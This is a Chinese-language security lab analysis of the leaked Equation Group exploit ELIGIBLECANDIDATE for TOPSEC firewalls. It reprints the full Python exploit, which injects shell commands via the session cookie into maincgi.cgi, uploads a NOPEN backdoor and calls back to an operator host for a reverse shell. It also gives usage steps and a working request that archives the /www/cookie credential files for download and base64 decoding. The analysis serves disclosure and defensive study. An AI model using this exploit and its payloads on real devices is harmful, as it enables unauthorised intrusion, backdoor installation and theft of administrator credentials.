

# TOPSEC Firewalls RCE(ELIGIBLECANDIDATE) ELCA分析

author : Cnnetarmy (知道创宇404实验室)

## I.漏洞概述

NSA的Equation Group(方程式组织)泄露的漏洞攻击代码已经有一段时间了，我们将Exploits中涉及到天融信防火墙的攻击代码进行了简单分析，该漏洞的利用代码

在/Firewall/Exploits/ELCA/eligiblecandidate.py，查看文件修改时间，得知该组织在2013年6月11号就已经发现了该漏洞。其实该漏洞不止影响天融信的防火墙，还影响基于TOS ( Topsec Operating System ) 开发的其他产品，比如天融信的TopVPN、TopGage等众多产品。由于漏洞影响很大，基本影响天融信全线产品，所以延期3个月公开。鉴于方程式的漏洞EXP已经公开，我们将该漏洞的产生原理简单还原一下。

影响版本：

TOPSEC firewall versions 3.3.005.057.1 - 3.3.010.024.1

## II.漏洞利用代码分析

查看 Firewall/EXPLOITS/ELCA/eligiblecandidate.py 中的代码，在 /Firewall/SCRIPTS/ELCA.txt 中记录了脚本操作流程，首先是执行touch，获取服务器的相关信息，然后执行probe探测漏洞是否存在，该代码如下：

```

import sys
import tarfile
from time import ctime,sleep
from StringIO import StringIO

from fosho import HTTPSExploit,run_exploit,randstr
from fosho.requests.exceptions import *

class ELCAExploit(HTTPSExploit):
    name = "ELIGIBLECANDIDATE"
    version = "v1.1.0.1"
    desc="What is the sound of a single thread blocking?"
    modes = ["nopen"]

    exploit_url= "/cgi/maincgi.cgi"
    target_url= "/site/image/white.gif"
    stagerfn = "stage/stager.sh"
    tinyexec = "stage/tiny-exec/tiny-exec"
    setlog = "stage/setlog/setlog"
    required_exploit = HTTPSExploit.required_exploit+"cid"
    required_probe = ["cid"]
    required_survey = ["cid"]
    required_clean = ["cid"]
    timeout = 120
    cfg = "ELCA.cfg"

    @classmethod
    def add_args(cur,cls):
        parser,subparsers = HTTPSExploit.add_args(cls)
        egroup = parser.add_argument_group("%s Options" %
            cls.name)
        egroup.add_argument("--cid",type=str,help="Name of session
ID in cookie (default: auto)")
        return parser,subparsers

    def touch(self,resp=None):
        """
        初次试探，获取相关信息，文件修改信息
        """
        if not resp:
            resp = self.head(self.target_url)
        if 'etag' in resp.headers:
            etag,date = self._parse_etag(resp.headers['etag'])
            self.log.info("Etag - %s; Last modified - %s" % (etag,d
ate))

    def probe(self):
        target = "/site/pages/index.html"

```

```

self.log.info("Checking current %s etag" % target)
old = self.get_etag(target)
sleep(1)
self.log.info("Running touch on %s" % target)
self._run_cmd("touch /w*/*/*/p*/*")#在系统上执行touch 命令, 修
改/site/pages/目录下文件的时间
self.log.info("Checking etag again to confirm")
new = self.get_etag(target)
if new[0] == old[0]:#查看etag标签是否改变来确定是否存在漏洞
    return "Unable to touch %s" % target

def exploit(self):
    """
    执行exp
    """
    self.log.info("Cleaning up /tmp/ ...")
    self._run_cmd("rm -f /t*/cgi*")#先清空/t*/即tmp下的文件, 然后用
于post上传数据
    self._upload_run()

def clean(self):
    """
    清理临时文件
    """
    self.log.info("Cleaning up /tmp/ ...")
    self._run_cmd("rm -f /t*/cgi*")
    self._run_cmd("rm -f /t*/.a")
    self._run_cmd("rm -f /t*/.te*")

def build_nopen_exploit_payload(self):
    cmd = "./httpd %s D=-c%s tos_configd &" % (self.ns.callback, self.ns.callback)
    self.build_exploit_payload(cmd)

def build_exploit_payload(self, cmd="/tmp/httpd"):
    out = StringIO()
    tf = tarfile.open(mode="w:gz", fileobj=out)

    tf.dereference = True
    try:
        tf.add(self.tinyexec, arcname='httpd')
        tf.add(self.binpath, arcname='httpd')
        tf.add(self.setlog, arcname='httpd')
        ##

    except IOError, e:
        self.log.error("Couldn't find file. Ensure paths are co
rrect and you have run make.")
        raise e

```

```

tf.close()
out.seek(0)
tdata = out.read()

self.folder = randstr(5)
stager = ""
for i,l in enumerate(open(self.stagerfn).readlines()):
    if i == 0 or not l.strip().startswith("#"):
        stager+=l

flen = len(stager.format(rand=self.folder,flen=len(stage
r),cmd=cmd))
self.payload = stager.format(rand=self.folder,flen=flen,cm
d=cmd)
self.payload += tdata

def _get_cid(self):
    """
    获取cookie中session id 的键值
    在分析固件代码中可以发现，该键值是session_id_[port]
    """
    if self.cid:
        self.log.info("Already know cookie id: %s" % self.cid)
        return self.cid
    try:
        cid = self.get(self.exploit_url).cookies.keys()[0]
        self.log.info("Detected cookie id: %s" % cid)
        return cid
    except IndexError:
        self.log.warning("Could not reliably detect cookie. Usi
ng 'session_id'...")
        return "session_id"

def _upload_run(self):
    """
    上传利用代码
    """
    self.log.info("Uploading and moving file...")
    p = StringIO(self.payload)
    if not self.cid:
        self._get_cid()
    self.post(self.exploit_url,cookies={self.cid:"x`cp /t*/cg*
/tmp/.a`"},
              files={randstr(5):p})
    self.log.info("Making file executable...")
    self._run_cmd("chmod +x /tmp/.a")
    self.log.info("Running payload...")
    try:
        self._run_cmd("/tmp/.a",quiet=True)

```

```

except KeyboardInterrupt:
    self.log.info("Closed manually by user. Exiting...")
except Timeout:
    self.log.info("Connection timed out. Only a problem if
the callback was not received.")

def _run_cmd(self,cmd,quiet=False,raw=False):
    """
    将预执行的命令, 存在cookie里, 并执行请求
    """
    if quiet:
        cmd = "%s 2>&1" % cmd
    if not raw:
        cmd = "x`%s`" % cmd
    if len(cmd) > 24:
        self.log.warning("Command is longer than 24 bytes: %s"
% cmd)
        self.continue_prompt("Are you sure you want to run thi
s? (y/N) ")
    if not self.cid:
        self._get_cid()
    self.log.debug("Running command on target: %s" % cmd)
    return self.get(self.exploit_url,cookies={self.cid:cmd})

def _parse_etag(self,etag):
    """
    解析处理etag标签
    """
    etag = etag.split("/")[-1].strip('"')
    date = ctime(int(etag.split("-")[-1],16))
    return etag,date

def main():
    run_exploit(ELCAExploit)

if __name__=="__main__":
    main()

```

其通过先请求 `/site/pages/index.html` , 获取 `etag` 标识, 然后执行 `touch /w*/*/*/p*/*` 命令 ( 其真实路径为 `/www/htdocs/site/pages/index.html` ) , 修改文件时间, 继续访问查看 `Etag` 是否变化来判断漏洞是否存在。如图:

```

Namespace(ask=False, binpath='', cert=None, cid='session_id_8080', color=True, debug=False, func=<unbound method ELCAExploit.do_probe>, host=' ', loadlast=False, m
n=None, target='https://[REDACTED]:8080', timeout=120, tool='nopen', verify=False)
[+] Checking current /site/pages/index.html etag
[+] Requesting head https://[REDACTED]:8080/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] Starting new HTTPS connection (1): [REDACTED]:8080
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Running touch on /site/pages/index.html
[+] Running command on target: x touch /w*/*/p*/*
[+] Requesting get https://[REDACTED]:8080/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id_8080': 'x touch /w*/*/p*/*'}, 'allow_redi
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Checking etag again to confirm
[+] Requesting head https://[REDACTED]:8080/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Target is vulnerable. Safe to proceed.
[+] Saving session info to .last_session
[+] Log files saved to logs/2016-08-21-162744.log and logs/2016-08-21-162744_http.log

```

执行exploit,其先把/tmp临时目录里的文件清除,然后将后门文件代码执行post请求,存到临时文件里,再利用命令执行漏洞,执行上传的后门文件,从而反弹shell。其脚本使用说明如下:

```

52 #####
53 #   Exploit   #
54 #####
55
56 # Set up your listener locally :
57
58 /current/bin/FW/NOPEN/$NOCLIENT -l $RHP1
59
60
61 # Throwing ELCA with NOPEN cli
62
63 ./eligiblecandidate.py -l exploit -p /current/bin/FW/NOPEN/$NOPEN -c $CBIPADDR:$RHP1
64
65
66 # Throwing with ELC0.cfg
67 #
68 # vi Contents of ELCA.cfg to match as follows:
69 # Change settings to include the proper bin path for your static NOPEN.
70 #{
71 #   "timeout": 120,
72 #   "tool": "nopen",
73 #   "binpath": "/current/bin/FW/NOPEN/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static"
74 #}
75
76 cat ELCA.cfg |sed 's/"binpath":\\""/"binpath":\\"/current/bin/FW/$NOPEN"/g' > .tmp; cat .tmp > ELCA.
77   cfg; rm .tmp
78
79 ./eligiblecandidate.py -l exploit -c $CBIPADDR:$RHP1

```

## III.命令执行漏洞原理

我们对/Firewall/Exploits/ELCA中涉及的漏洞进行分析。该漏洞是maincgi.cgi文件处理cookie设计缺陷导致漏洞的产生。

TOS安全操作系统的主文件为maincgi.cgi,所有Web版功能集成在此文件中,其实现位于so库文件中。

此文件main()函数逻辑如下

```

int __cdecl sub_804EBEE(int a1) //main 函数
{
    char v2; // [sp+10h] [bp-230h]@9 //变量定义
    //.....省略
    int *v28; // [sp+238h] [bp-8h]@1
    v28 = &a1; //变量初始化
    //.....省略
    sub_804E482(&s1, &v6);
    if ( cgiFormCheckboxSingle("loginSubmitIpt") ) //判断是不是登
    陆，是返回0，否则返回1
    {
        if ( cgiFormCheckboxSingle("loginRegister") ) //判断是不是注
        册，是返回0，不是返回1
        {
            if ( !sub_804E6E2(&s2) ) //判断Url的值是不是Main和MainFrame，返
            回相应内容
            {
                memset(&v3, 0, 0x20u); //空间初始化
                sprintf(&v3, 31 - strlen(&v3), "session_id_%s", cgiServer
                Port); //拼接session名称，名称为session_id加cgiServer端口
                sub_817C75D(&v3, &unk_8221B00, 64); //获取session值，长度为64
                sub_804E394(&s2); //判断参数Url的值，列举一些功能并验证登陆，需要
                绕过
                ptr = (void *)getCookieFromFile(&unk_8221B00); //判断sess
                ion是否存在
                if ( ptr && *(_BYTE *)ptr )
                {
                    //.....省略
                }
                else //若获取的session内容不存在，则执行销毁操作
                {
                    destroy_cookie_file(&unk_8221B00); //销毁session，漏洞根
                    源
                    quit_system_timeout(&s2);
                }
            }
        }
        else
        {
            sub_80541DB(0); //注册功能函数
        }
    }
    else
    {
        sub_80541DB(1); //登陆功能函数
    }
    LABEL_141:
    clear_quit();
}

```

```
sub_817B9F5();
return 0;
}
```

可以看到只要存在 `session`，并且参数 `url` 的值不等于系统内定的特定值，系统都会去尝试读取 `session` 的值，若 `session` 无效则会销毁 `session`。销毁 `session` 的逻辑存在漏洞，所以我们进入该逻辑的条件是，请求中包含自定义的 `session` 且保证 `url` 的值不为如下值

```
.data:08221B84      dd offset aMainnav      ; "MainNav"
.data:08221B88      dd offset aMainright    ; "MainRight"
.data:08221B8C      dd offset aHead         ; "Head"
.data:08221B90      dd offset aAaauser_right; "AAAUser_right"
.data:08221B94      dd offset aAaauser_lef_0; "AAAUser_left"
.data:08221B98      dd offset aAaaagrade_ri_0; "AAAAGrade_right"
.data:08221B9C      dd offset aAaaagrade_le_0; "AAAAGrade_left"
.data:08221BA0      dd offset aAaaarole_1   ; "AAAARole"
```

跟进 `destroy_cookie_file()` 查看代码

```
int __cdecl destroy_cookie_file(int a1)
{
    return destroy_cookie_file(a1);
}
```

该函数调用的 `destroy_cookie_file()` 函数，传入的 `a1` 是我们 `session` 的值，该函数是此文件的导入函数，实现不在这个文件中。我们看下这个文件所使用的库都有哪些

```
.init:0804D39C ; Interpreter '/lib/ld-linux.so.2'
.init:0804D39C ; Needed Library 'libwebui_string.so'
.init:0804D39C ; Needed Library 'libwebui_tools.so'
.init:0804D39C ; Needed Library 'libwebui_parse.so'
.init:0804D39C ; Needed Library 'libwebui_tmpl.so'
//.....省略
```

目测函数就在这些库文件里面，使用 `nm` 命令可帮我们快速的找到函数实现

的地方，执行 `nm -D *.so >1.txt`，将所有库文件的导入导出函数写入到 `1.txt` 里



然后查找 `destroy_cookie_file` :

```
18561 00002c68 B vroute_014
18562
18563 libwebui_tools.so:
18564 | U ADMIN_USER
18565 //....省略
18566 00014bf1 T def_subnet_option_new
18567 0001fe09 T destroy_cookie_file
18568 000124a0 T dev_option
18569 0001b83f T dhcp_interface_option
18570 000239f8 T download_file
18571 0001754a T dpi_ftp_option
18572 00017376 T dpi_http_option
18573 00017ac6 T dpi_imap_option
```



前面是T说明是导出函数，也就是函数在 `libwebui_tools.so` 中实现的。如果是U就是导入函数，函数只是在这引用。我们跟进查看：

```
int __cdecl destroy_cookie_file(const char *a1)
{
    char s; // [sp+34h] [bp-84h]@4
    if ( a1 && strlen(a1) > 4 )
    {
        sprintf(&s, 0x80u, "rm %s%s %s%s* %s*%s* -f", "/www/cookie/",
a1, "/tmp/", a1, "/www/htdocs/site/image/", a1);
        system(&s); //直接拼接session内容，并执行system命令
    }
    return 0;
}
```

可以看到直接拼接带入了 `system` 函数，这种拼接方式虽然有限制，但是不影响我们执行命令。此外还需要注意的是天融信的TOS系统内有沙盒，禁止了很多命令的执行，还禁止了；的使用，此处不对沙盒多做分析。

## IV.漏洞利用

可以获取管理员密码等信息，进而修改设备配置，或直接执行系统命令，监听流量等。天融信相关设备会将用户的账号以及base64编码的密码存储在 `/www/cookie` 目录的文件中，可以直接读取(参考下图)。

### Request

Raw Params Headers Hex

```

GET /cgi/maincgi.cgi?Url=telnet HTTP/1.1
Host: [REDACTED]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: session_id_8080=1|tar -cvf
/www/htdocs/site/image/404.tar /www/cookie|

```

### Response

Raw Headers Hex HTML Render

```

HTTP/1.1 500 Internal Server Error
Date: Tue, 23 Aug 2016 08:52:50 GMT
Server: Topsec
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 529

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
The server encountered an internal error or
misconfiguration and was unable to complete
your request.<P>
Please contact the server administrator,
service@topsec.com.cn and inform them of the time the error
occurred,
and anything you might have done that may have
caused the error.<P>
More information about this error may be available
in the server error log.<P>
</BODY></HTML>

```

www > cookie

名称	修改日期
[REDACTED] NDU=	2016/8/

top\NzAzMTQ2MjA3MjQ4NDU= - Sublime Text

找(I) 查看(V) 转到(G) 工具(T) 项目(P) 首选项(N) 帮

```

NzAzMTQ2MjA3MjQ4NDU= x eligiblecandidate.py
1  tousername=superman
2  tospassword=[REDACTED]2o=
3  tosusertype=7
4  auth_id=9203
5  g_vsid=0
6  logintime=1471940670
7  milsecond=354782
8  refreshtimes=0
9  sys_setup=2
10 sys_maintenance=2
11 sys_monitor=2
12 network=2
13 policy=2
14 vpn=2
15 sslvpn=2
16 aaa_conf=2
17 log_conf=2
18 log_access=2
19 anti_virus=2
20 resource_conf=2
21 dpi_conf=2
22 nki_conf=2

```

解密 base64 , 登陆即可

The screenshot displays the Topsec VPN management web interface. The browser address bar shows a URL ending in 'https://:8080/cgi/maincgi.cgi?Url=Main'. The interface has a red header with the '天融信 TOPSEC' logo. A left sidebar contains a navigation menu with categories like '系统管理', '系统监视', '网络管理', '资源管理', '用户认证', '防火墙', '内容过滤', 'PKI设置', '虚拟专网', 'SSL VPN', '高可用性', and '日志与报警'. The main content area is divided into three sections: '系统状态', '安全引擎信息', and '接口信息'. The '系统状态' section lists details such as product model (TopVPN6000), serial number (K1109091993), and system date (+08 2016). The '安全引擎信息' section shows version numbers for the system, VPN, and SSL. The '接口信息' section lists 18 interfaces (eth0 to eth17) with their respective roles and speeds. A '系统资源' section at the bottom right shows a CPU usage graph with a 100% indicator.

接口名称	角色
eth0	路由
eth1	路由
eth10	路由/全双工/100M
eth11	路由/全双工/100M
eth12	路由/全双工/100M
eth13	路由/全双工/100M
eth14	路由
eth15	路由/全双工/1000M
eth16	路由/全双工/1000M
eth17	路由/全双工/1000M

系统资源	值
cpu0(0,1)	100%
cpu1(0,1)	
cpu2(0,1)	
cpu3(0,1)	

## V.参考

- <http://www.topsec.com.cn/aqtb/aqtb1/jjtg/160820.htm>
- <https://www.exploit-db.com/exploits/40273>